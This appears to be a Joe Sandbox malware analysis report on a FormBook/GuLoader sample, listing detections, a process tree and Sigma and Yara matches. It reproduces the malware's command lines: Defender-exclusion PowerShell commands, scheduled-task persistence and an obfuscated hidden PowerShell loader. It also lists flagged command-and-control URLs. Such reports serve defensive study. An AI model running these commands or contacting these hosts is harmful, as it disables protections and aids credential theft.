Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
P1 HWT623ATG.bat.exe

Overview

General Information

Sample name:P1 HWT623ATG.bat.exe
Analysis ID:1452507
MD5:cfd86b8016c2604ea4b9cf22e6316e22
SHA1:76bbd37b9fa76903785813af01c9cfb913c6b7ff
SHA256:3e8a45e1f0face1dedab9167d1e0405000f94d1dfaf1780b45cbe315f1ead0d4
Tags:exe
Infos:

Detection

FormBook, GuLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Scheduled temp file as task from temp location
Yara detected AntiVM3
Yara detected FormBook
Yara detected GuLoader
.NET source code contains potential unpacker
.NET source code contains very large array initializations
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Obfuscated command line found
Performs DNS queries to domains with low reputation
Powershell drops PE file
Queues an APC in another process (thread injection)
Sample is not signed and drops a device driver
Sample uses process hollowing technique
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to detect virtual machines (SLDT)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Potential Dosfuscation Activity
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Use Short Name Path in Command Line
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • P1 HWT623ATG.bat.exe (PID: 5064 cmdline: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe" MD5: CFD86B8016C2604EA4B9CF22E6316E22)
    • powershell.exe (PID: 6468 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 4456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 6388 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • WmiPrvSE.exe (PID: 1648 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)
    • schtasks.exe (PID: 3212 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 4888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • P1 HWT623ATG.bat.exe (PID: 4340 cmdline: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe" MD5: CFD86B8016C2604EA4B9CF22E6316E22)
      • hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe (PID: 6688 cmdline: "C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • compact.exe (PID: 7628 cmdline: "C:\Windows\SysWOW64\compact.exe" MD5: 5CB107F69062D6D387F4F7A14737220E)
          • hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe (PID: 4300 cmdline: "C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 7892 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
          • bfc.exe (PID: 1252 cmdline: "C:\Users\user~1\AppData\Local\Temp\bfc.exe" MD5: 9468614D3915F76CE938B93A123E9043)
            • powershell.exe (PID: 1532 cmdline: "powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
              • conhost.exe (PID: 2332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • cmd.exe (PID: 3084 cmdline: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • Smilet.exe (PID: 4072 cmdline: "C:\Users\user~1\AppData\Local\Temp\Smilet.exe" MD5: 9468614D3915F76CE938B93A123E9043)
  • GnVIdcfKFYG.exe (PID: 6880 cmdline: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe MD5: CFD86B8016C2604EA4B9CF22E6316E22)
    • schtasks.exe (PID: 7244 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)
      • conhost.exe (PID: 7424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • GnVIdcfKFYG.exe (PID: 7460 cmdline: "C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe" MD5: CFD86B8016C2604EA4B9CF22E6316E22)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2aae0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x1403f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x490a4:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x32603:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 13 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        9.2.P1 HWT623ATG.bat.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          9.2.P1 HWT623ATG.bat.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2d2b3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16812:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2e0b3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17612:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ParentImage: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe, ParentProcessId: 5064, ParentProcessName: P1 HWT623ATG.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ProcessId: 6468, ProcessName: powershell.exe
            Sigma detected: Potential Dosfuscation Activity
            Source: Process startedAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0", CommandLine: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "powershell.exe" -windowstyle hidden "$Algolagnic=Get-Content 'C:\Users\user\AppData\Local\erindres\keres\Renowned.tha';$Gnaskerierne=$Algolagnic.SubString(53079,3);.$Gnaskerierne($Algolagnic)", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1532, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0", ProcessId: 3084, ProcessName: cmd.exe
            Sigma detected: Powershell Defender Exclusion
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ParentImage: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe, ParentProcessId: 5064, ParentProcessName: P1 HWT623ATG.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ProcessId: 6468, ProcessName: powershell.exe
            Sigma detected: Suspicious Add Scheduled Task Parent
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe, ParentImage: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe, ParentProcessId: 6880, ParentProcessName: GnVIdcfKFYG.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpDBA9.tmp", ProcessId: 7244, ProcessName: schtasks.exe
            Sigma detected: Suspicious Schtasks From Env Var Folder
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ParentImage: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe, ParentProcessId: 5064, ParentProcessName: P1 HWT623ATG.bat.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp", ProcessId: 3212, ProcessName: schtasks.exe
            Sigma detected: Use Short Name Path in Command Line
            Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\bfc.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\bfc.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\bfc.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\bfc.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\bfc.exe, ParentCommandLine: "C:\Windows\SysWOW64\compact.exe", ParentImage: C:\Windows\SysWOW64\compact.exe, ParentProcessId: 7628, ParentProcessName: compact.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\bfc.exe" , ProcessId: 1252, ProcessName: bfc.exe
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ParentImage: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe, ParentProcessId: 5064, ParentProcessName: P1 HWT623ATG.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ProcessId: 6468, ProcessName: powershell.exe

            Persistence and Installation Behavior

            barindex
            Sigma detected: Scheduled temp file as task from temp location
            Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\P1 HWT623ATG.bat.exe", ParentImage: C:\Users\user\Desktop\P1 HWT623ATG.bat.exe, ParentProcessId: 5064, ParentProcessName: P1 HWT623ATG.bat.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\GnVIdcfKFYG" /XML "C:\Users\user\AppData\Local\Temp\tmpC293.tmp", ProcessId: 3212, ProcessName: schtasks.exe

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus / Scanner detection for submitted sample
            Source: P1 HWT623ATG.bat.exeAvira: detected
            Antivirus detection for URL or domain
            Source: shahaf3d.comSophos S4: Label: malware callhome domain
            Source: futuregainers.netSophos S4: Label: malware callhome domain
            Source: www.931951.comSophos S4: Label: malware repository domain
            Source: www.93v0.comSophos S4: Label: malware repository domain
            Source: srripaspocon.orgSophos S4: Label: malware callhome domain
            Source: www.grecanici.comSophos S4: Label: malware repository domain
            Source: www.torentreprenad.comSophos S4: Label: malware repository domain
            Source: www.leadchanges.infoSophos S4: Label: malware repository domain
            Source: www.srripaspocon.orgSophos S4: Label: malware callhome domain
            Source: www.shahaf3d.comSophos S4: Label: malware callhome domain
            Source: www.futuregainers.netSophos S4: Label: malware callhome domain
            Source: www.navigate-power.boatsSophos S4: Label: malware repository domain
            Source: http://www.931951.com/2ha1/Sophos S4: Label: malware repository domain
            Source: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/themes/countdown/style.css?v=4.1.Sophos S4: Label: malware callhome domain
            Source: http://www.shahaf3d.com/0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8Sophos S4: Label: malware callhome domain
            Source: http://www.torentreprenad.com/r45o/?9d=gzu5VRbRlKcxtienrOg/vYWmVRq4TNxrFroidVFNmLFBxOvIucJSpLXaDw+Y+myNYDD7xGaCks3CSH70SMI2pnLhFLXOBLrZylJOsjWCWApEJOKs/ooDCJFxqK6p3RZXycGtf6I8hj/U&G0a=VFN0vBc0ol1ljnb0Sophos S4: Label: malware repository domain
            Source: https://shahaf3d.com/wp-admin/admin-ajax.phpSophos S4: Label: malware callhome domain
            Source: http://www.93v0.com/hcaw/Sophos S4: Label: malware repository domain
            Source: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js?v=1.0.2Sophos S4: Label: malware callhome domain
            Source: http://www.srripaspocon.org/egr4/?9d=OombhWzhkCuNqFAQBgJWCTIe5Ku7zRL7Rc3Pxm83mLxAAziOmqPFMSLkiV9xX+4t83HRZJys59Cvhm/US+qC1S/tz9V2xJeiTRy2uMqSR06k3ZbbYlILY5knN9gwwCUqzf9nwI+FPnn/&G0a=VFN0vBc0ol1ljnb0Sophos S4: Label: malware callhome domain
            Source: http://www.931951.com/2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsYSophos S4: Label: malware repository domain
            Source: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/css/animate.min.cssSophos S4: Label: malware callhome domain
            Source: https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpgSophos S4: Label: malware callhome domain
            Source: http://www.93v0.com/hcaw/?9d=Xa5/huFy8Eck4v8ee+xdjh1i7ba8Clp/lHr4KuxbDQUg1IaZpZOFGkNm4jxFFpbvuuzZpNiUUgQ/swG1ojXNpV/H8uI+lgidsfe724rSsodQ5uAfCV2elW9ENMTuv5SSVXQJAcj0qHHf&G0a=VFN0vBc0ol1ljnb0Sophos S4: Label: malware repository domain
            Source: http://www.shahaf3d.com/0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8Avira URL Cloud: Label: malware
            Source: http://www.931951.com/2ha1/Avira URL Cloud: Label: malware
            Source: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/themes/countdown/style.css?v=4.1.Avira URL Cloud: Label: malware
            Source: http://www.leadchanges.info/mjuo/Sophos S4: Label: malware repository domain
            Source: http://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb0Sophos S4: Label: malware callhome domain
            Source: http://www.shahaf3d.com/0a9p/Sophos S4: Label: malware callhome domain
            Source: http://www.srripaspocon.org/egr4/Sophos S4: Label: malware callhome domain
            Source: http://www.grecanici.com/4iea/?9d=LPPTutp79E4NI/FTL4slzgCz9Mw5fMldsgpq5qffN1EY6wk4NmMiGrfPgNjCGewOe8/3zUEWliAlmzRgBncp/x6QXeu+cIhmsENqwLKbzAke2hCAvuJuIziLbcuyQtVHWzDtEtwuFhDD&G0a=VFN0vBc0ol1ljnb0Sophos S4: Label: malware repository domain
            Source: http://www.leadchanges.info/mjuo/?9d=GUK7oVIRF3FAoVisjIpZqa7HO+54FDT9CfoAB53ViUuzbZ1TAtWa7LnCzENP06w/wd6reHxcMz42RIoq6sWsgYEYCrnoxIy0wOTor1QdDe9x8GrLmxcBWSK4ygqmUmz0vTBYLSkIKLnt&G0a=VFN0vBc0ol1ljnb0Sophos S4: Label: malware repository domain
            Source: https://shahaf3d.comSophos S4: Label: malware callhome domain
            Source: http://www.grecanici.com/4iea/Sophos S4: Label: malware repository domain
            Source: https://shahaf3d.com/wp-admin/admin-ajax.phpAvira URL Cloud: Label: malware
            Source: http://www.leadchanges.infoSophos S4: Label: malware repository domain
            Source: http://www.torentreprenad.com/r45o/Sophos S4: Label: malware repository domain
            Source: https://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMSophos S4: Label: malware callhome domain
            Source: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js?v=1.0.2Avira URL Cloud: Label: malware
            Source: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/css/animate.min.cssAvira URL Cloud: Label: malware
            Source: https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpgAvira URL Cloud: Label: malware
            Source: http://www.931951.com/2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsYAvira URL Cloud: Label: malware
            Source: http://www.shahaf3d.com/0a9p/Avira URL Cloud: Label: malware
            Source: https://shahaf3d.comAvira URL Cloud: Label: malware
            Antivirus detection for dropped file
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeAvira: detection malicious, Label: HEUR/AGEN.1306292
            Multi AV Scanner detection for dropped file
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeReversingLabs: Detection: 57%
            Multi AV Scanner detection for submitted file
            Source: P1 HWT623ATG.bat.exeReversingLabs: Detection: 57%
            Yara detected FormBook
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for dropped file
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeJoe Sandbox ML: detected
            Machine Learning detection for sample
            Source: P1 HWT623ATG.bat.exeJoe Sandbox ML: detected
            Source: P1 HWT623ATG.bat.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: P1 HWT623ATG.bat.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: compact.pdbGCTL source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576160374.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3718182571.0000000000718000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: mshtml.pdb source: Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 00000019.00000002.3709303599.000000000005E000.00000002.00000001.01000000.0000000F.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3709074079.000000000005E000.00000002.00000001.01000000.0000000F.sdmp
            Source: Binary string: wntdll.pdbUGP source: P1 HWT623ATG.bat.exe, 00000009.00000002.1576508573.0000000001200000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1578452345.00000000038DE000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003A90000.00000040.00001000.00020000.00000000.sdmp, compact.exe, 0000001A.00000003.1575491955.0000000003721000.00000004.00000020.00020000.00000000.sdmp, compact.exe, 0000001A.00000002.3721271151.0000000003C2E000.00000040.00001000.00020000.00000000.sdmp
